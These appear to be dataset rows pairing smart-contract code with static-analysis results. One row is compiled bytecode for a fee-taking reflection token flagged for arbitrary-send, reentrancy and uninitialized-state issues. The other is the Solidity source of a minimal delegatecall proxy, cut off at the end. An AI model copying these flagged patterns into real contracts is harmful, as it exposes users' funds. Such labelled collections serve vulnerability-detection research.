659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061138230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a63565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c857600080fd5b505afa1580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146557600080fd5b505afa158015611479573d6000803e3d6000fd5b505050506040513d602081101561148f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561150957600080fd5b505af115801561151d573d6000803e3d6000fd5b505050506040513d602081101561153357600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306115cd30610ce8565b6000806115d8610f59565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561165d57600080fd5b505af1158015611671573d6000803e3d6000fd5b50505050506040513d606081101561168857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117e657600080fd5b505af11580156117fa573d6000803e3d6000fd5b505050506040513d602081101561181057600080fd5b81019080805190602001909291905050505050565b61182d611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611992606461198483683635c9adc5dea000006129ae90919063ffffffff16565b612a3490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f896024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ed06022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f646025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e836023913960400191505060405180910390fd5b60008111611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f3b6029913960400191505060405180910390fd5b611dc7610f59565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e355750611e05610f59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123c257601360179054906101000a900460ff161561209b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f115750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561209a57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb1611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614806120275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661200f611a5b565b73ffffffffffffffffffffffffffffffffffffffff16145b612099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b6014548111156120aa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61215757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122025750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122585750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122705750601360179054906101000a900460ff165b156123085742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122c057600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061231330610ce8565b9050601360159054906101000a900460ff161580156123805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123985750601360169054906101000a900460ff165b156123c0576123a6816126c4565b600047905060008111156123be576123bd47612545565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124695750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561247357600090505b61247f84848484612a7e565b50505050565b6000838311158290612532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124f75780820151818401526020810190506124dc565b50505050905090810190601f1680156125245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612595600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125c0573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612611600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561263c573d6000803e3d6000fd5b5050565b6000600a5482111561269d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ea6602a913960400191505060405180910390fd5b60006126a7612cd5565b90506126bc8184612a3490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126f957600080fd5b506040519080825280602002602001820160405280156127285781602001602082028036833780820191505090505b509050308160008151811061273957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127db57600080fd5b505afa1580156127ef573d6000803e3d6000fd5b505050506040513d602081101561280557600080fd5b81019080805190602001909291905050508160018151811061282357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061288a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a63565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561294e578082015181840152602081019050612933565b505050509050019650505050505050600060405180830381600087803b15801561297757600080fd5b505af115801561298b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129c15760009050612a2e565b60008284029050828482816129d257fe5b0414612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ef26021913960400191505060405180910390fd5b809150505b92915050565b6000612a7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d00565b905092915050565b80612a8c57612a8b612dc6565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b4457612b3f848484612e09565b612cc1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612be75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bfc57612bf7848484613069565b612cc0565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c9e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cb357612cae8484846132c9565b612cbf565b612cbe8484846135be565b5b5b5b80612ccf57612cce613789565b5b50505050565b6000806000612ce261379d565b91509150612cf98183612a3490919063ffffffff16565b9250505090565b60008083118290612dac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d71578082015181840152602081019050612d56565b50505050905090810190601f168015612d9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612db857fe5b049050809150509392505050565b6000600c54148015612dda57506000600d54145b15612de457612e07565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612e1b87613a4a565b955095509550955095509550612e7987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f0e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fef81613b84565b612ff98483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061307b87613a4a565b9550955095509550955095506130d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061316e83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324f81613b84565b6132598483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132db87613a4a565b95509550955095509550955061333987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354481613b84565b61354e8483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135d087613a4a565b95509550955095509550955061362e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136c385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370f81613b84565b6137198483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139ff578260026000600984815481106137d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806138be575081600360006009848154811061385657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138dc57600a54683635c9adc5dea0000094509450505050613a46565b61396560026000600984815481106138f057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ab290919063ffffffff16565b92506139f0600360006009848154811061397b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613ab290919063ffffffff16565b915080806001019150506137b8565b50613a1e683635c9adc5dea00000600a54612a3490919063ffffffff16565b821015613a3d57600a54683635c9adc5dea00000935093505050613a46565b81819350935050505b9091565b6000806000806000806000806000613a678a600c54600d54613d63565b9250925092506000613a77612cd5565b90506000806000613a8a8e878787613df9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613af483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612485565b905092915050565b600080828401905083811015613b7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b8e612cd5565b90506000613ba582846129ae90919063ffffffff16565b9050613bf981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d2457613ce083600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d3e82600a54613ab290919063ffffffff16565b600a81905550613d5981600b54613afc90919063ffffffff16565b600b819055505050565b600080600080613d8f6064613d81888a6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613db96064613dab888b6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613de282613dd4858c613ab290919063ffffffff16565b613ab290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613e1285896129ae90919063ffffffff16565b90506000613e2986896129ae90919063ffffffff16565b90506000613e4087896129ae90919063ffffffff16565b90506000613e6982613e5b8587613ab290919063ffffffff16565b613ab290919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220374e18c06cd0dcbec84938aef03098e6af435b48dfb7bfb5cd0e1a86110c0c7a64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,632 |
0xC4EC22CC879C495D594B27710e24a9d19B273B68 | // SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
contract Contract {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
assert(KEY == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
address addr = abi.decode(_a, (address));
StorageSlot.getAddressSlot(KEY).value = addr;
if (_data.length > 0) {
Address.functionDelegateCall(addr, _data);
}
}
function _beforeFallback() internal virtual {}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
